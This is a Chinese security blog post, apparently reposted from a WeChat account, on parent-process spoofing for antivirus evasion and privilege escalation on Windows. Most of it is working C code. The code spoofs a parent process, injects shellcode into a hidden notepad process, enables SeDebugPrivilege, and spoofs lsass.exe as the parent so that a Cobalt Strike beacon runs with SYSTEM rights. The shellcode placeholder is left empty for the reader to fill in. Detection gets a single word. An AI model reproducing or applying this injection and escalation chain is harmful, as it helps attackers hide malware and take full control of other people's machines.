浅谈虚假父进程下的免杀、提权

admin 2024年2月10日01:18:18评论11 views字数 10211阅读34分2秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:23380

声明:仅供学习参考,请勿用作违法用途

目录

  • 前记

  • 普通权限的父进程欺骗

  • ShllCode上线

  • 进程提权基础

  • 进程提权注入

前记

父进程欺骗作用:

  • 进程链信任免杀
  • 进程提权

检测:

  • etw

普通权限的父进程欺骗

#include<stdio.h>
#include<windows.h>
#include <TlHelp32.h>

DWORD getpid(LPCTSTR ProcessName)
{
 HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (hProceessnap == INVALID_HANDLE_VALUE)
 {
  puts("创建进行快照失败n");
  return 0;
 }
 else
 {
  PROCESSENTRY32 pe32;
  pe32.dwSize = sizeof(pe32);
  BOOL hProcess = Process32First(hProceessnap, &pe32);
  while (hProcess)
  {
   if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
   {
    printf("pid:%dn", pe32.th32ProcessID);
    //printf("ppid:%d", pe32.th32ParentProcessID);
    CloseHandle(hProceessnap);
    return pe32.th32ProcessID;
   }
   hProcess = Process32Next(hProceessnap, &pe32);
  }
 }
 CloseHandle(hProceessnap);
 return 0;
}
int main()
{
 //initialization
 PROCESS_INFORMATION pi = { 0 };
 STARTUPINFOEXA si = { 0 };
 SIZE_T sizeToAllocate;
 si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
 //getparenthandle
 DWORD pid = getpid(L"x64dbg.exe");
 HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
 //UpdateProcThreadAttribute
 InitializeProcThreadAttributeList(NULL10, &sizeToAllocate);
 si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);
 InitializeProcThreadAttributeList(si.lpAttributeList, 10, &sizeToAllocate);
 UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULLNULL);
 //CreateProcess
 CreateProcessA(NULL, (LPSTR)"notepad"NULLNULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULLNULL, &si.StartupInfo, &pi);
 system("pause");
 return 0;
}

关键api、结构体

CreateProcessA

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
)
;

PROCESS_INFORMATION

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

STARTUPINFOEXA

typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

HeapAlloc

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,
  [in] DWORD  dwFlags,
  [in] SIZE_T dwBytes
)
;

UpdateProcThreadAttribute

BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwFlags,
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,
  [in]            SIZE_T                       cbSize,
  [out, optional] PVOID                        lpPreviousValue,
  [in, optional]  PSIZE_T                      lpReturnSize
)
;

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

lpValue 参数是指向要使用的进程的句柄的指针,而不是作为所创建进程的父进程的调用进程。要使用的进程必须具有 PROCESS_CREATE_PROCESS 访问权限。

从指定进程继承的属性包括句柄、设备映射、处理器相关性、优先级、配额、进程令牌和作业对象。(请注意,某些属性(如调试端口)将来自创建过程,而不是此 handle.)

QueueUserAPC

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
)
;

ShllCode上线

#include<stdio.h>
#include<windows.h>
#include <TlHelp32.h>

DWORD getpid(LPCTSTR ProcessName)
{
 HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (hProceessnap == INVALID_HANDLE_VALUE)
 {
  puts("创建进行快照失败n");
  return 0;
 }
 else
 {
  PROCESSENTRY32 pe32;
  pe32.dwSize = sizeof(pe32);
  BOOL hProcess = Process32First(hProceessnap, &pe32);
  while (hProcess)
  {
   if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
   {
    printf("pid:%dn", pe32.th32ProcessID);
    //printf("ppid:%d", pe32.th32ParentProcessID);
    CloseHandle(hProceessnap);
    return pe32.th32ProcessID;
   }
   hProcess = Process32Next(hProceessnap, &pe32);
  }
 }
 CloseHandle(hProceessnap);
 return 0;
}
int main()
{
 //initialization
 PROCESS_INFORMATION pi = { 0 };
 STARTUPINFOEXA si = { 0 };
 SIZE_T sizeToAllocate;
 si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
 //getparenthandle
 DWORD pid = getpid(L"x64dbg.exe");
 HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
 //UpdateProcThreadAttribute
 InitializeProcThreadAttributeList(NULL10, &sizeToAllocate);
 si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);
 InitializeProcThreadAttributeList(si.lpAttributeList, 10, &sizeToAllocate);
 UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULLNULL);
 //CreateProcess
 unsigned char shellcode[] = "";
 CreateProcessA(NULL, (LPSTR)"notepad"NULLNULL, TRUE,CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULLNULL, &si.StartupInfo, &pi);
 LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL0x2000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
 CreateRemoteThread(pi.hProcess, NULL0, (LPTHREAD_START_ROUTINE)lpBaseAddress, NULL0NULL);
 CloseHandle(pi.hThread);
 return 0;
}

浅谈虚假父进程下的免杀、提权


这里cs以notepad进程的分线程上线,当notepad被关闭时cs会被下线

进程提权基础

流程

1.打开进程访问令牌 2.取得特权的LUID值 3.调整访问令牌特权值

使用api,结构体

OpenProcessToken

BOOL OpenProcessToken(
  [in]  HANDLE  ProcessHandle,
  [in]  DWORD   DesiredAccess,
  [out] PHANDLE TokenHandle
)
;

LookupPrivilegeValue

BOOL LookupPrivilegeValueA(
  [in, optional] LPCSTR lpSystemName,
  [in]           LPCSTR lpName,
  [out]          PLUID  lpLuid
)
;

AdjustTokenPrivileges

BOOL AdjustTokenPrivileges(
  [in]            HANDLE            TokenHandle,
  [in]            BOOL              DisableAllPrivileges,
  [in, optional]  PTOKEN_PRIVILEGES NewState,
  [in]            DWORD             BufferLength,
  [out, optional] PTOKEN_PRIVILEGES PreviousState,
  [out, optional] PDWORD            ReturnLength
)
;

TOKEN_PRIVILEGES

typedef struct _TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

LUID_AND_ATTRIBUTES

typedef struct _LUID_AND_ATTRIBUTES {
  LUID  Luid;
  DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

EnableDebugPrivilege代码如下

#include <stdio.h>
#include <windows.h>
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle,FALSE,&tkp,sizeof(tkp),NULL,NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    printf("sucessful");
    return TRUE;
}
int main()
{
    EnableDebugPrivilege();
    system("pause");
    return 0;
}

进程提权注入

#include "coleak.h"

BOOL  EnableDebugPrivilege()
{
 HANDLE token_handle;
 LUID luid;
 TOKEN_PRIVILEGES tkp;
 //打开访问令牌
 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
 {
  printf("openProcessToken error");
  return   FALSE;
 }
 //查询luid
 if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
 {
  CloseHandle(token_handle);
  printf("lookupPrivilegevalue error");
  return   FALSE;
 }
 tkp.PrivilegeCount = 1;
 tkp.Privileges[0].Luid = luid;
 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 //调整访问令牌权限
 if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULLNULL))
 {
  CloseHandle(token_handle);
  printf("adjust error");
  return   FALSE;
 }
 printf("sucessful");
 return TRUE;
}

DWORD getpid(LPCTSTR ProcessName)
{
 HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (hProceessnap == INVALID_HANDLE_VALUE)
 {
  puts("创建进行快照失败n");
  return 0;
 }
 else
 {
  PROCESSENTRY32 pe32;
  pe32.dwSize = sizeof(pe32);
  BOOL hProcess = Process32First(hProceessnap, &pe32);
  while (hProcess)
  {
   if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
   {
    printf("pid:%dn", pe32.th32ProcessID);
    //printf("ppid:%d", pe32.th32ParentProcessID);
    CloseHandle(hProceessnap);
    return pe32.th32ProcessID;
   }
   hProcess = Process32Next(hProceessnap, &pe32);
  }
 }
 CloseHandle(hProceessnap);
 return 0;
}

VOID ppidfunc(DWORD pid) {
 PROCESS_INFORMATION pi = { 0 };
 STARTUPINFOEXA si = { 0 };
 SIZE_T sizeToAllocate;
 si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
 //getparenthandle
 HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
 //UpdateProcThreadAttribute
 InitializeProcThreadAttributeList(NULL10, &sizeToAllocate);
 si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);
 InitializeProcThreadAttributeList(si.lpAttributeList, 10, &sizeToAllocate);
 UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULLNULL);
 //CreateProcess
 unsigned char shellcode[] = "";
 CreateProcessA(NULL, (LPSTR)"notepad"NULLNULL, TRUE, CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULLNULL, &si.StartupInfo, &pi);
 LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL0x2000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
 CreateRemoteThread(pi.hProcess, NULL0, (LPTHREAD_START_ROUTINE)lpBaseAddress, NULL0NULL);
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 CloseHandle(parentProcessHandle);
}

int main() {
 // 进程提权
 EnableDebugPrivilege();
 // 找指定进程pid
 DWORD pid = getpid(L"lsass.exe");
 // 父进程欺骗
 ppidfunc(pid);
 system("pause");
 return 0;
}

放cs上线shellcode,直接以system权限上线

文章首发于:渗透测试安全攻防

原文始发于微信公众号(渗透测试安全攻防):浅谈虚假父进程下的免杀、提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日01:18:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈虚假父进程下的免杀、提权http://cn-sec.com/archives/2485476.html

发表评论

匿名网友 填写信息